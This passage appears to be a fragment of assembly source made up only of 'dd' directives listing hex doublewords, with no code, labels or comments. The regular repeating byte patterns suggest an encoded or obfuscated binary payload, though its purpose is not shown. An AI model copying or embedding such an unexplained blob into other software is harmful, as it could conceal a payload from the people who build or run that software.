56ABB132h, 0D7B3D06Bh, 592A30C9h dd 567524B6h, 56BF5832h, 544BB132h, 3622C69Ah, 565B303Dh dd 0DBA4B132h, 56D5B134h, 56EA333Dh, 0BF20B132h, 56BAB13Eh dd 4CF69A7h, 44932AFFh, 1BC723A4h, 2C2823CDh, 30B5B729h dd 9D6B4BB9h, 74838B72h, 0BFDAEC53h, 565DB135h, 0C7D21C73h dd 0DD319E34h, 1322D0F5h, 56C158CEh, 0FBB2B132h, 4E695A7Fh dd 0F849131Bh, 63111D7Ah, 0E9DE0E8h, 5936D193h, 56ABB9B7h dd 5453BE32h, 36EAB132h, 0AA083253h, 333FBE33h, 0BF5DB134h dd 56AEB13Bh, 0B193C662h, 856B0CEDh, 0EC5E4469h, 50FFB2FBh dd 296E0B52h, 0D9B5AABBh, 565DB134h, 709879B3h, 63681F7h dd 56A758CBh, 271FB132h, 0C33FD2A5h, 16F8293Ch, 0D4312783h dd 5046CD1Ch, 9119BE52h, 5652313Dh, 1A13B132h, 37D164BFh dd 0A3DA8D0Bh, 5FF7BE6Ah, 0BFBAB134h, 565DB137h, 90FD8DF2h dd 0DBED3AF5h, 0A3ADA430h, 0D45E4962h, 50F1CD1Ch, 53F9BE52h dd 30BAB132h, 5E707FB3h, 56AC343Dh, 3737B132h, 66978853h dd 56DC5852h, 2157B132h, 0B08CF5B9h, 0A307CA9Ah, 0D952E953h dd 56AEB4F2h, 79ED3ACAh, 0A3ADAA48h, 2CFA33B1h, 36FEB729h dd 56733C3Dh, 0DBB5B132h, 565DB132h, 56AEB7DBh, 46013832h dd 37B1062Ch, 0BF2086BBh, 56EAB121h, 4E0F048h, 4B060074h dd 4B5664A3h, 72FE9AA4h, 0DFF7102Ah, 653A175h, 78573ACEh dd 0BFECAA4Eh, 5675B138h, 0FAB4A34h, 0E1B9B299h, 0D2A189A2h dd 5657B120h, 56ABBCDBh, 8BB81232h, 1A7CF570h, 6AFC26D5h dd 4A3179F8h, 564D5802h, 8765B132h, 0F6998AEh, 0BB2872F8h dd 3D49BA5Ch, 0BFB2454Dh, 5675B135h, 6D4B75CBh, 0DF44A9DEh dd 59CEB96Dh, 5657B2B9h, 2B7C3132h, 178769B3h, 0BF8BD511h dd 5675B43Eh, 413DBECEh, 0BF5DB132h, 56AEB120h, 9143457Eh dd 5B769769h, 12A1C30h, 0FE32AA5Ah, 13B2AE3Fh, 56BAB3CAh dd 64B44D32h, 36AEB132h, 300A68B2h, 0DB8E7EB3h, 0AE907653h dd 56EAB133h, 0C9843052h, 59871759h, 565DA2BAh, 56A05832h dd 0B52FB132h, 0F108C08h, 0F397359Fh, 57EDFFEh, 79CF3A53h dd 59BCAA48h, 565DBDBDh, 56A95832h, 200EB132h, 12C1EC6Eh dd 795732CCh, 42ECAA48h, 5675A3DBh, 264DF432h, 1074259Eh dd 62F55C2Ch, 784FFA11h, 0DFBA1EC2h, 56D85805h, 0A172B132h dd 8E030C7Fh, 0E52BE28Fh, 36DE96DCh, 56AEA3DAh, 0C85FA32h dd 0AC266B0Bh, 331F02FFh, 81A10109h, 0BF99B3C0h, 56BAB13Eh dd 27D52014h, 0D859F277h, 3CB16A2Ah, 0B72AD76Dh, 0DFB4BA45h dd 0D516A175h, 0D37AB2CAh, 56BAB172h, 0EE3DD1CAh, 1977FF69h dd 5657B4DBh, 1D1CD32h, 59B4B98Fh, 56EAB2B6h, 91C2BE32h dd 78387653h, 545BAA4Eh, 59AEB132h, 5657BCB4h, 56A35832h dd 4D9DB132h, 26C746CAh, 4B9CBD50h, 0AEBAB132h, 595F49B1h dd 56ACFDBFh, 56595832h, 4F23B132h, 2EAA8EF9h, 0D951AA2Bh dd 0FF54E45Ch, 5642CCB1h, 5692353Dh, 0DEA1B132h, 5657B135h dd 56AA303Dh, 5929B132h, 0AAEBF784h, 5675319Bh, 393FBE32h dd 365DB132h, 0F20C0A54h, 379D063Dh, 412CBE72h, 0BFD5B132h dd 56EAB120h, 78ABC3AAh, 7B4103ECh, 0F23E695Eh, 0F63C378Eh dd 0BED45AD0h, 0BFCB4437h, 56D5B120h, 8F62B8AFh, 818E9DACh dd 0B4D239D0h, 12D4BE91h, 594754E5h, 1457B132h, 0DDAC90B9h dd 3C022206h, 0C852CCC4h, 0BF14614Fh, 56BAB17Dh, 565DBCDBh dd 0F5829732h, 0FB0DF43h, 3ACF4D03h, 0A9F811F3h, 0BFEAB132h dd 5675B126h, 56ED366Dh, 9368E801h, 554E5083h, 7870E239h dd 0C0E97657h, 0BFD059B1h, 56EAB13Eh, 7C10E283h, 35C666B7h dd 4A8B2D1Ah, 37CED152h, 0D636D052h, 0BFCA73D6h, 56D5B12Fh dd 5F03E2CEh, 1F75B132h, 477CB478h, 916DD84Ch, 2A802BB9h dd 0DDABB729h, 0D528236h, 56D518C7h, 0D3E53132h, 5675B190h dd 56BB3D3Dh, 55A8B132h, 5723BEF4h, 0A357B132h, 0BFAE71B1h dd 56D5B13Bh, 0C2250378h, 0B7E3D2F0h, 7838B26Dh, 0BF5BAA4Eh dd 56AEB137h, 0DDEBA679h, 0DF57F9F9h, 0D1DAB975h, 56EAB129h dd 56645952h, 5708B132h, 0EFE9C946h, 1ACB546Fh, 2B456BAEh dd 0C35988Eh, 36B4D052h, 0D7380E3Dh, 0A03E10F9h, 1133D019h dd 5649583Eh, 6D40B132h, 3FD98791h, 0F5277012h, 27C00023h dd 0DAE3087Ah, 1F9C2CD9h, 59BAB130h, 565DA9BDh, 4646D132h dd 0BF57B132h, 6A86BA77h, 0CCA4E6BCh, 9A68F50Ch, 0CCEE9CFh dd 8E4D4953h, 369B9ACBh, 56A8353Dh, 0D258B132h, 56ABB132h dd 37665CB2h, 0DD8A69C5h, 57FABEE1h, 0AEBAB132h, 539D3253h dd 56AF303Dh, 55AEB132h, 4DD79FB0h, 5E5ABE34h, 59EAB132h dd 5675B3BDh, 1EDBD132h, 52DEBE52h, 30AEB132h, 0BFA56789h dd 56ABB134h, 0DF1F4ED8h, 0AA8BD7FBh, 0BF7DF6BBh, 56BAB123h dd 0F3144803h, 250906B3h, 7B511EFDh, 89B87BBBh, 5A92387Bh dd 44870952h, 3780B48Ah, 56BB16DBh, 56525832h, 0B411B132h dd 901DF112h, 14FD6A9Ah, 68BD15FDh, 592A82B8h, 5675AAB9h dd 4339BE32h, 0BF5DB132h, 56AEB122h, 148D1DFCh, 3A41FD19h dd 57E8E93Dh, 0AA3E79FFh, 0BF74F7B8h, 56BAB13Fh, 0FA34534Ch dd 5D42ADCDh, 0ECA50E78h, 552CBE76h, 36D5B132h, 0D642D0CEh dd 5698343Dh, 0D4B5B132h, 565DB133h, 3668B2CBh, 5657B9DBh dd 1C758732h, 4A4FAEA6h, 9669D04Bh, 5E9CD130h, 3EBAB132h dd 0CE36D605h, 0BE4A4CB2h, 5657B120h, 25BF419Fh, 6BA03FB8h dd 782B036Eh, 4C724BEDh, 0E1B511F7h, 0ED3CEBE9h, 56AEB133h dd 56593C3Dh, 0DCCBB132h, 56D058CCh, 6099B132h, 37E1FBECh dd 0D2B56A39h, 565DB170h, 56AEB6DBh, 34840832h, 7C52B16Fh dd 0EF4F3BCEh, 36ECAB8Bh, 0FD4977B3h, 0DDDCADF8h, 0B5DDD0C8h dd 5A46D133h, 7757B132h dd 3836A1D9h, 59D59209h, 0DD2E949Eh, 509CEEC3h, 0C0BAB132h dd 22D7C0D5h, 95ADD059h, 565D5952h, 2BE3B132h, 0AC64ED98h dd 0AFD5442Bh, 0E92CD052h, 56AA7B0h, 5E1A3853h, 5AE938CEh dd 0B1940A52h, 0DDCDF8FAh, 273CD0ECh, 0AAEAB132h, 5675BFDBh dd 6145FC32h, 0A8473746h, 2C1A52C0h, 0A145A96Dh, 0A98E49EAh dd 0BFD5B132h, 56EAB13Ch, 6ECF8FAAh, 0E38A7681h, 0E0ECD19Ah dd 0D2A15B51h, 5657B135h, 0D6E70252h, 7DB430E1h, 8E1D49F4h dd 62943052h, 37953F88h, 0A35F71B1h, 59A6F6BBh, 5657BDB2h dd 5020BE32h, 59D5B132h, 56EAB1B2h, 5A323832h, 56BAB6DBh dd 0D3018F32h, 204C9C5Bh, 50D2BECAh, 36ABB132h, 6DC0954h dd 9F1FD053h, 59933B52h, 56BABFB0h, 56545832h, 9F24B132h dd 0F8B9B9D3h, 372B9DAFh, 56C558F1h, 2C0BB132h, 77FA25C8h dd 4C185711h, 19880C20h, 0BECEB071h, 5657B13Eh, 2E71F391h dd 1D990B18h, 4BB185E1h, 56753A3Dh, 30E0B132h, 28E59B3h dd 4247E453h, 2857B132h, 0A064752Dh, 4D9C66FAh, 4CC2D0F9h dd 4E3B2D32h, 0DDC42FA9h, 565B58DEh, 0BF57B132h, 0F5E943C9h dd 0A35775B1h, 563D4952h, 0CEAB132h, 0E3E55BB3h, 5953B729h dd 0F35DB132h, 0C184AE16h, 0B4A096A0h, 32E64D5Ah, 533C0AADh dd 8EAB132h, 0A791842Ch, 2F440BB9h, 5FB4B729h, 0E2AEB132h dd 94C6B137h, 0CCC1428Ch, 0D52C7801h, 0D2E5B10Dh, 5675B5A0h dd 0BFBD3ACBh, 565DB120h, 0ABDFA1BDh, 5EA74019h, 0DBBB4A65h dd 4BC3747Ah, 0DCE5F501h, 5675B120h, 56B6373Dh, 51B4B132h dd 0A5AEB132h, 0F8C7CCECh, 2354E65Dh, 56DD583Eh, 0E07EB132h dd 0CC66A6FAh, 59DA0E9Ah, 0BF0A628Dh, 56AEB134h, 7CDCAC6Ch dd 37F54939h, 0BFDDC4CDh, 56EAB13Bh, 0FE1CF788h, 5D931296h dd 0BEA1E1C3h, 56AEB9CEh, 5997BACBh, 56ABF1B7h, 4659BE32h dd 0BFEAB132h, 5675B139h, 0DDE085F6h, 783AF52Bh, 0DD095197h dd 56435835h, 7625B132h, 0E57A538Eh, 39D3B89Eh, 8A26A3DAh dd 0BA7E108h, 65B49013h, 0BFAEB132h, 5657B137h, 0E6DB9AC4h dd 42123264h, 56EABBDBh, 155A5832h, 3F4E3E13h, 0BF101F2Ch dd 0A9514E19h, 5657BCDBh, 0C6B98E32h, 0E08FD0FFh, 24E6BDF4h dd 13FC86B8h, 56BD58CEh, 0C896B132h, 0B0B52F1Ch, 5A224E18h dd 56BF3E3Dh, 593CB132h, 9AEAB132h, 18DE4FD7h, 3AB9429Fh dd 10E06C64h, 2351EE58h, 61A8483Ah, 5EF959CAh, 513CB132h dd 0B2EAB132h, 0B7BF176h, 96B1C2E6h, 566F353Dh, 0D3A1B132h dd 5657B133h, 55F758CBh, 59B5B132h, 56EABFB3h, 567C5832h dd 88E9B132h, 4FC4556Fh, 0BE0432F8h, 5657B13Ah, 7861C37Eh dd 4369D820h, 37B542B9h, 3689F4B9h, 0AF410E3Dh, 595A8853h dd 56AD94B0h, 57DDBE32h, 0A3ABB132h, 0BF29F4CDh, 56EAB13Eh dd 0BB63D53h, 0F0199A45h, 1C6B4669h, 56AACEB1h, 5612353Dh dd 0D5A4B132h, 56D5B13Bh, 30710252h, 17D259B3h, 5AC53253h dd 7AD9BE32h, 0AAAEB132h, 5657EEDBh, 982AD132h, 3AC699CDh dd 56EABDDBh, 8E17B532h, 0C95F7EBBh, 6CB2B500h, 0D3A1D0D3h dd 5657B135h, 0D8850A52h, 0EEB4A4DBh, 0A9154ECDh, 5675A0DBh dd 84D83732h, 0DA76B399h, 0AABAEA3Fh, 0BA6F8C4Bh, 5312DD35h dd 0A3D5B132h, 308A1AC1h, 0D07A61B9h, 56BAB133h, 0B4B4D0C7h dd 36514ECCh, 378B76B2h, 53BBCEB1h, 565C353Dh, 4203B132h dd 0CE75B132h, 292E5BD6h, 37F1FA95h, 9D372779h, 0B5DA3C8Dh dd 0D5F7800Bh, 59D3A14Dh, 56EACBB7h, 567E5832h, 9903B132h dd 625801A7h, 8AF03F97h, 0E831D165h, 17CAD3F7h, 56D4383Dh dd 0AA16B132h, 5971F6B9h, 56BAB0B1h, 9D64932h, 56BD583Eh dd 6526B132h, 596F6ECAh, 958CC892h, 0E739472Ah, 31BA2A35h dd 4033BE41h, 0BF5DB132h, 56AEB123h, 0E7A0BDCDh, 0FCF02AB1h dd 5BDEEB8h, 0C4BB3AA0h, 57E758E3h, 0DD4FB132h, 0DDA4B575h dd 0D7A1BD6Dh, 5657B133h, 57CD58CEh, 0DD2CB132h, 0AF8AB575h dd 5673343Dh, 0D8B5B132h, 565DB132h, 5AF13A53h, 56513B3Dh dd 0AECBB132h, 37050E3Dh, 59E2EE09h, 567570B7h, 5A3ABE32h dd 595DB132h, 56AEB7B1h, 56D0BE32h, 4ABB132h, 56C1383Dh dd 5903B132h, 0E75B132h, 241BCB0Ch, 6940AFFh, 0B1BCE00h dd 1DC2BBBh, 56BF5836h, 0CC7DB132h, 509DB38Dh, 0AE77F717h dd 0A29C61C6h, 72D77044h, 385A378h, 51D3BE22h, 59ABB132h dd 56D5B0B0h, 551F4D32h, 0D67AA567h, 56BAB13Ch, 565A5852h dd 0F952B132h, 0CAFF805Fh, 920D064h, 8CFE483Eh, 530132CBh dd 0B4CDD752h, 0A03BD715h, 0C3C18FFh, 56AEBADBh, 0E92C4332h dd 2ECB28CFh, 0FBCD5122h, 56EAC9DBh, 3015D132h, 60E767B3h dd 565D3E3Dh, 0BFCFB132h, 5657B123h, 306F29EDh, 0FB3ECD2Dh dd 0F571FFCh, 2B2367Dh, 1131D091h, 564F5836h, 7E43B132h dd 10F32C44h, 0B7C36C11h, 0EEBFA8CBh, 70051187h, 0AA79EEB9h dd 853BD752h, 0DB520545h, 56AEB130h, 7D36D052h, 4542B56Dh dd 64D5B132h, 5E22803Fh, 0A5968EADh, 6D40DACBh, 0BC95626Dh dd 0BD2DADE2h, 0DC544D37h, 50BE9657h, 46AA32CEh, 4B6FBE31h dd 0BF75B132h, 56BAB122h, 0D54F8981h, 0EFF5D100h, 1498198h dd 9E979633h, 575CBE73h, 0AFEAB132h, 0DF7A6819h, 56BAB122h dd 56573B3Dh, 5347B132h, 0BC57B132h, 3AC730EAh, 57D4EDBBh dd 56E73F3Dh, 5E9CB132h, 24BAB132h, 0E6FEEC25h, 0EE89C3D1h dd 0A9A84ECDh, 56AE08C7h, 0DDB5B132h, 4069BEFCh, 0BF75B132h dd 56BAB123h, 6896A382h, 0AE64FD39h, 7A7476DEh, 0CE76BCh dd 0FD26D056h, 9D61D752h, 59148A83h, 56BAB0B4h, 34B44932h dd 59514ECEh, 5657B0BDh, 0AFCA4D32h, 59B5D1FBh, 56EAB1B5h dd 56F1BE32h, 37BAB132h, 565DBADBh, 3EB96632h, 0E28CA7E9h dd 0C87E5340h, 56C57353h, 56EABBDBh, 0F9B88F32h, 3D76A126h dd 359D03Dh, 0AE423ACEh, 0AEAB75B1h, 1A1AD152h, 56D6383Dh dd 0E1E5B132h, 569DD0C5h, 0CBAB132h, 0ECE55BB3h, 0DEA1B729h dd 5657B125h, 56ABA3DBh, 0DD736232h, 2672CA97h, 1A4B6395h dd 0D114893Dh, 0AFC8824Eh, 2F500BB9h, 65ABB729h, 0D3A4D1FBh dd 56D5B134h, 0B9B541B3h, 0B0FFD02Ch, 56AE5853h, 8C7FB132h dd 53FD60EAh, 0CB843347h, 2CFEA00Dh, 3A439524h, 69697D29h dd 8DF1BE32h, 0BFBAB131h, 565DB138h, 172EFBCh, 0A2315A0Dh dd 0D9A46804h, 56D5B13Eh, 56EC343Dh, 0DD7AB132h, 56BAB132h dd 59B4B6B9h, 91AEB132h, 0F746C283h, 9DA146EDh, 181730E4h dd 2315E994h, 5EFEBE3Eh, 59BAB132h, 565DB3B4h, 59CFD132h dd 5657B6B9h, 572FBE32h, 0AED5B132h, 0A3E2C4CDh, 10C7D162h dd 56BAB8DBh, 0CFFFEE32h, 0E548634Dh, 0BE361887h, 56ABB286h dd 56D5BDDBh, 0E2284632h, 9397F3E9h, 0A509150Ah, 599DBA7Bh dd 56AEFCB7h, 0E931D132h, 9721D3A2h, 5C5EBE53h, 36EAB132h dd 0B97041B3h, 37DAECE4h, 365A3A53h, 56AEA5DBh, 0B96BAD32h dd 7F427630h, 0AC7CB033h, 0E9164393h, 0B2559786h, 0A301D700h dd 60B4D0C7h, 0BFAEB132h, 5657B138h, 0D4DC5F31h, 2547FAFFh dd 9169BBFAh, 51F9BE26h, 59BAB132h, 565DB0B2h, 5D474932h dd 59A84ECDh, 56ABBDBEh, 0A6AD132h, 30FABA80h, 995D43B3h dd 0AAFF3853h, 565DBBDBh, 3BAD3332h, 72F7B50Fh, 0A90EC0DAh dd 0D7DABD47h, 56EAB124h, 5675A0DBh, 72632F32h, 9F23C021h dd 0BE4DB7EFh, 2F719E74h dd 23543E85h, 0A9294D3Ah, 0D78CD105h, 6A438E1h, 56BABDDBh dd 1B2A5E32h, 0FB48150Fh, 7C1C14E9h, 0BECAE879h, 56D5B3E2h dd 56EB313Dh, 3680B132h, 2FE60854h, 599DBA53h, 56AE9BB6h dd 5BD8BE32h, 36ABB132h, 3A1B3054h, 2021306Fh, 3705EA2Ch dd 56B8E8DBh, 56505832h, 84EEB132h, 0E9933E43h, 0B3EB70BEh dd 0DD74FAD8h, 0D3E54D77h, 5675B131h, 6FDB4952h, 65DFBE35h dd 36AEB130h, 0CCA63054h, 45B30AFh, 37E0298Ah, 5916F4CDh dd 5675B0B7h, 29394432h, 0D252B136h, 56AEB117h, 5A2832CEh dd 4C2FBE32h, 36D5B132h, 0C01D57B3h, 80FEF0A4h, 56DA5853h dd 0AA3DB132h, 562ABE65h, 857B132h, 0A9540953h, 7B54ECDh dd 56EABFDBh, 6520432h, 0B31D3852h, 0C8C07115h, 8E40D7Ah dd 5657BFDBh, 7C573E32h, 0ECC87604h, 0E5DE5A57h, 37DA2CB1h dd 56BAB48Bh, 0FDAE4D32h, 56A63D3Dh, 0D358B132h, 56ABB130h dd 8E3CD052h, 36154ECCh, 9E7B0A54h, 0D7793054h, 29DED034h dd 0D2A1B422h, 5657B1A2h, 56ABBCDBh, 7C71732h, 619BD09h dd 8714038Eh, 2939B768h, 0D352B722h, 56AEB197h, 5657B4DBh dd 0D39CF732h, 3694A760h, 59034D52h, 0BE75B132h, 0D5D00355h dd 57BD5E38h, 7654DFA8h, 3736FB5Ah, 52EC3AC7h, 0BF293B52h dd 56EAB13Ah, 9E30E5E3h, 634FDE6Eh, 5A023A53h, 56AEA3DBh dd 0F92E5F32h, 0EF9BAA32h, 735AE9D3h, 5D6CA637h, 0BF5DF4C6h dd 56BAB187h, 564C5852h, 0A81B132h, 0C66A5036h, 0BDC737DCh dd 0AD12458Fh, 46D212h, 0AA14EECEh, 0AABEF6B9h, 0BF51EEB9h dd 56AEB121h, 2E1FCBEDh, 477D6A1Ah, 0B07A1E1Ch, 9A788B84h dd 0AE45C0DFh, 56BAC0DBh, 565A5832h, 3EDDB132h, 9B79C15h dd 52EC3ADCh, 56D5A2DBh, 4D766A32h, 2A35D3EEh, 2B4B1F88h dd 0E85651ABh, 6FDC44A8h, 5A083ACBh, 52F49AC7h, 56DC5852h dd 265DB132h, 22294EDEh, 0E9FF5E67h, 7C967F8Eh, 53453253h dd 462832CAh, 492EBE31h, 36D5B132h, 65B00954h, 0C2DE361h dd 5946F053h, 565DBCB7h, 56A65832h, 5ECDB132h, 2069A8D3h dd 8FFE9865h, 57B638C7h, 5C9CD133h, 3FBAB132h, 0D4140D2Fh dd 0B766E16Dh, 0A9EFD06Bh, 0BF544ECDh, 56D5B138h, 57DC3D8Ch dd 862FE222h, 5303C59Eh, 365DB132h, 0CDE4A28Bh, 6EDD742h dd 0FD58D032h, 56D858CBh, 77B1B132h, 34717685h, 0B37538EAh dd 0BF5983ADh, 0A9514C75h, 565B323Dh, 0D4A4B132h, 56D5B134h dd 56EA383Dh, 0A314B132h, 0E9B5D1FBh, 564E59EDh, 6CCCB132h dd 22285AD4h, 0EA22A6FCh, 57382D87h, 6F58352Fh, 372C44F0h dd 56BABDDBh, 6ADD6032h, 4C2CEA1h, 91E18C25h, 56A373AFh dd 56D5BEDBh, 0BE816632h, 633FE88Ch, 9A57B85Ah, 913C2184h dd 56A25867h, 0B4A0B132h, 32E64D5Ah, 7260AADh, 0BA61FAF8h dd 0BBCFD752h, 56B15861h, 8526B132h, 0BF461D96h, 6467FFB6h dd 9228D02Dh, 56DF58CEh, 0F2ADB132h, 0E1D11DD2h, 8101B2E2h dd 564F5852h, 0C27B132h, 75599F7Ch, 95443297h, 0B6482B64h dd 0E701611Dh, 367DF4B9h, 66753054h, 6D3C445Ch, 0D4A1BD77h dd 5657B166h, 56AA3F3Dh, 0AA20B132h, 59FAF409h, 5675F2B5h dd 463BBE32h, 0BF5DB132h, 56AEB139h, 55E5871Dh, 4931B9EFh dd 915F9A32h, 56EA4D77h, 0D17AB132h, 56BAB13Fh, 565DB9DBh dd 0E411BB32h, 2F3F7420h, 56A35863h, 591AB132h, 0D3A07837h dd 709C4B05h, 0AEBAB132h, 57A1F4F5h, 36AEB132h, 2FD60A54h dd 56B85853h, 0D4DAB132h, 56EAB13Eh, 5675B6DBh, 42581A32h dd 266207D7h, 0DD57D0CBh, 5EBE4D77h, 9CABB132h, 72ECCD27h dd 9FB3AB41h, 5675BCDBh, 94BFBF32h, 0DF6CED18h, 0BF151CF4h dd 5EBEA5B7h, 0BABB132h, 0EAE3E055h, 94C2B68Ah, 598DB13Eh dd 56BAB0BCh, 59084832h, 56AEB9B7h, 54DABE32h, 36ABB132h dd 36393A53h, 56EAA5DAh, 826BDE32h, 86B89FC8h, 9F057A96h dd 0F3B11495h, 6FAF0CB5h, 2E13D79Ah, 0D0DAEE7Bh, 56EAB134h dd 4B855BB3h, 0D5DB9693h, 5DB44DF6h, 65AEB132h, 8B4CD65h dd 78F8552Dh, 0AFB5E70Bh, 56EAB1DAh, 0BCF4EB32h, 50A17180h dd 564F58CEh, 0DAC1B132h, 55AB87A3h, 0F2CE3C35h, 2AA3883Ch dd 1C8606A2h, 5B9C7801h, 0FBAB132h, 0BF08572Eh, 784B8DDh dd 0B6EDE711h, 59CB6A01h, 0DDB34A85h, 5303D0FCh, 9475B132h dd 0A2F81C25h, 36A1ECBBh, 0BA6D3052h, 41BBBAh, 0BFF9D06Ch dd 56D5B121h, 0F1D2BFC7h, 0DFDCAF98h, 172DDE5Ch, 0A531FF3Ah dd 0DC9D002h, 0D701D153h, 76F0ECF0h, 5F3CEF33h, 3AEAB132h dd 0E16E64D3h, 81C77EA3h, 0A8E73A53h, 0AEA8AA4Bh, 59578EB1h dd 56A9ABB6h, 5A5FBE32h, 59EAB132h, 5675B7B8h, 563DBE32h dd 0D55DB132h, 0D3A14E0Dh, 5657B105h, 56A6373Dh, 59B5B132h dd 56EAB1B4h, 0D5AE0A32h, 0D5DBFCCEh, 51B4A5F5h, 0EDAEB132h dd 6B691416h, 0E342CEA5h, 0BF2A4ECDh, 56EAB139h, 0DA010D5h dd 0ADDCD92Eh, 0D5DA6E83h, 59AEB54Dh, 5657E0B6h, 472FBE32h dd 0BFD5B132h, 56EAB13Eh, 0EFD85D2Ch, 40DB80F6h, 0CB285F23h dd 0DD4C0652h, 29D4D0C1h, 0D2A4B13Eh, 56D5B118h, 56EAB9DBh dd 63EAEF32h, 3E970E99h, 566E5823h, 0AECEB132h, 370F4865h dd 56A7383Dh, 30B5B132h, 59656A89h, 5675B1BFh, 1345D032h dd 91DE44CEh, 5725BE26h, 0A357B132h, 0A95486DBh, 0D8DA4DCDh dd 56EAB133h, 460A32CBh, 223EBE37h, 365DB132h, 292DD0CBh dd 0D358B722h, 56ABB1BEh, 0E1DAD152h, 3E3C0BCCh, 3014A8EBh dd 3728ED89h, 42B4F0CAh, 5AEB132h, 9AED1BD9h, 873C0EA7h dd 0C4C13082h, 1C5B7D24h, 0AAF0EE2Fh, 0BFBEF6B9h, 565DB121h dd 0A4DD4DB4h, 988C31F4h, 0DE878FEh, 640A8780h, 59CEB776h dd 5675B0BCh, 9314932h, 5657583Eh, 63DDB132h, 4C046115h dd 0CE347A8Bh, 56D52BDBh, 0DD1F4832h, 539CB575h, 0F5BAB132h dd 0C1CB6017h, 0AAA2EEB9h, 5657CEDBh, 0DAA44D32h, 56D5B13Ah dd 56E8333Dh, 3715B132h, 59BEF6B9h, 565DA4BAh, 56BE5832h dd 968AB132h, 82A52801h, 4F19CF18h, 811F10B5h, 9FEDB5Eh dd 0D7DCD13Eh, 0EF73C5F3h, 49AF3664h, 52089A53h, 56ABB4DBh dd 20723532h, 0BD69FB90h, 5AF6BE37h, 0BFBAB132h, 565DB135h dd 4536D5CAh, 369C5B57h, 56ABB6DAh, 91C74532h, 0BDE0A6CBh dd 592E67B9h, 0D5DB488Dh, 595EA14Dh, 56AEB2B7h, 0AE164432h dd 0DF576819h, 0A3D4B06Eh, 0A9154E8Ah, 0DA7A44CDh, 56BAB133h dd 565808CEh, 0A556B132h, 57D5BE99h, 0AEABB132h, 56D5A1DBh dd 77BC1932h, 4A1A9CD6h, 91B85E0Eh, 575C98DBh, 0AB70589Bh dd 37A24ECDh, 247B3052h, 599A71CBh, 56EAB3B4h, 37140432h dd 0AE46F4B9h, 565C3D3Dh, 9F56B132h, 0CFA73052h, 1C17435h dd 330341B3h, 37B5A61Ch, 57F7BEF1h, 0AFBAB132h, 0AA0C4862h dd 5347D161h, 0C157B132h, 0A640F04Ah, 56D5A5DBh, 0CD670432h dd 0F3E76CCFh, 1F750CAEh, 5708FF11h, 3C0DFE87h, 56BFD018h dd 0CABB132h, 951D5BB3h, 5A03B729h, 475B132h, 0DFFF46B2h dd 9CCE08A0h, 596821F7h, 5657A3BCh, 56A65832h, 519B132h dd 494B60A4h, 8312A0F3h, 360AF6B3h, 565DB7DBh, 3404B232h dd 0BF1944FCh, 56ABB13Dh, 1F0929B5h, 89981A50h, 9975526Ch dd 37569BC0h, 2CFE2BBFh, 0D1A1B729h, 5657B13Fh, 5620BE52h dd 30D5B132h, 0D20E73B3h, 56110953h, 0DFB5B132h, 565DB126h dd 56AEBEDBh, 4AB78532h dd 0E75CBDCDh, 0FC8E2AB1h, 582EEB8h, 5675BBDBh, 3534E132h dd 6F81D9F0h, 0BEFC00F6h, 5657B5ECh, 56AA3C3Dh, 0DD2DB132h dd 56FE5839h, 56E6B132h, 0BC64E72Dh, 0ED296BA4h, 950DC704h dd 20E17B58h, 9790BC11h, 4E5CBE52h, 0BEEAB132h, 5675B120h dd 0A2EBA4A3h, 4E1433E9h, 0DCECC2FEh, 0B0EB3555h, 30F147C7h dd 4C4846B3h, 56415853h, 5580B132h, 0D3B5B579h, 565DB133h dd 596F8ACEh, 56576EB0h, 5F2CBE32h, 36D5B132h, 54840E54h dd 37A23A54h, 59AAFA31h, 565DA4BEh, 56BE5832h, 1C1BB132h dd 0D8942518h, 203AC1E2h, 7CAF3F28h, 0DB7AEA57h, 56BAB120h dd 565DBCDBh, 0E3A83632h, 0C5374B9Ch, 971A9471h, 97EE2F81h dd 56C0333Dh, 0D47AB132h, 56BAB134h, 64833152h, 7E47D0CBh dd 0BF57B132h, 56ABB126h, 0B36430A5h, 0C781FF73h, 9EDF50A9h dd 1B5EF069h, 0F43E1F0Eh, 56AECBDBh, 0E931D132h, 0ECCDF374h dd 0BFB44FE6h, 56EAB159h, 5675B9DBh, 7EAE5632h, 1854AA65h dd 19343C91h, 5951AD05h, 56ABBEB9h, 56DF5832h, 142DB132h dd 0A7A873A4h, 0DD44C40h, 59B462CDh, 94AEB132h, 43C0D28Bh dd 69AA4E35h, 29C0AE27h, 7E037E4Ch, 3675B132h, 56BAB8DBh dd 0A728DB32h, 62350FA8h, 37A2A7D1h, 6CDE2BBFh, 0A92DB72Eh dd 5E68BEE1h, 5975B132h, 56BAB3BFh, 0D3CD132h, 56AEB7DBh dd 73B55332h, 0FB384C8h, 5E50BECBh, 59EAB132h, 5675B3BBh dd 0EDBD132h, 564F3C3Dh, 5B47B132h, 4E57B132h, 0BBBF1B97h dd 4F7E6DBh, 0B1CC248Fh, 567C58F1h, 92AB132h, 548FD26Ch dd 3FDB93Eh, 5657B6DBh, 0C2DD3032h, 4EED3849h, 0BE1F5DB9h dd 5675B132h, 43503068h, 595BAAF4h, 56AEB0BDh, 36AB4432h dd 56ABB6DBh, 0E5543832h, 0BEE30CECh, 2CD60BBFh, 30DAB729h dd 0BE3D7EB9h, 56AEB138h, 7D8280E2h, 0F231A67Bh, 378B4727h dd 5EAF3A53h, 56723E3Dh, 0D5B5B132h, 565DB133h, 36A938CAh dd 5A123A53h, 52EC38C7h, 56D5BFDBh, 0C88B9832h, 2A3111D6h dd 0C733536Ch, 0DD90681Bh, 5E47A177h, 4C57B132h, 0FF10DC9Bh dd 0DF0B17DEh, 5303BD75h, 0B875B132h, 0E9286E64h, 5949F4B9h dd 56AEBFB6h, 565E5832h, 6851B132h, 0FB7B8F16h, 0DFE9A7E1h dd 0BF89A175h, 56BAB135h, 8C8F7A64h, 37C3B55Ah, 53DDBE52h dd 30ABB132h, 2B2C5AB3h, 9F8B43B9h, 5675BDDBh, 54441B32h dd 54AA76B2h, 5A9D744Dh, 564773F9h, 5723BE52h, 0AAD5B132h dd 0BF13D153h, 5675B13Ah, 6FCF9352h, 5D2312B1h, 5F6B34F4h dd 3610B727h, 0A7677AB3h, 8055BA39h, 4C82D03Fh, 59DDA641h dd 56BAB6B1h, 0E7EBD132h, 377D0E3Dh, 7E4604CDh, 59CBB727h dd 0DBB46185h, 4E980DB7h, 868A4D34h, 56B2373Dh, 0D63DB132h dd 0E1A1B7E3h, 3605D0E9h, 5974063Dh, 0DBB4708Dh, 4D96F2B8h dd 0D713D134h, 374C99C2h, 56575863h, 3DB4B132h, 0B40DC45Fh dd 68B1F75Fh, 463C61CDh, 0E7EAB132h, 0BB89B99Dh, 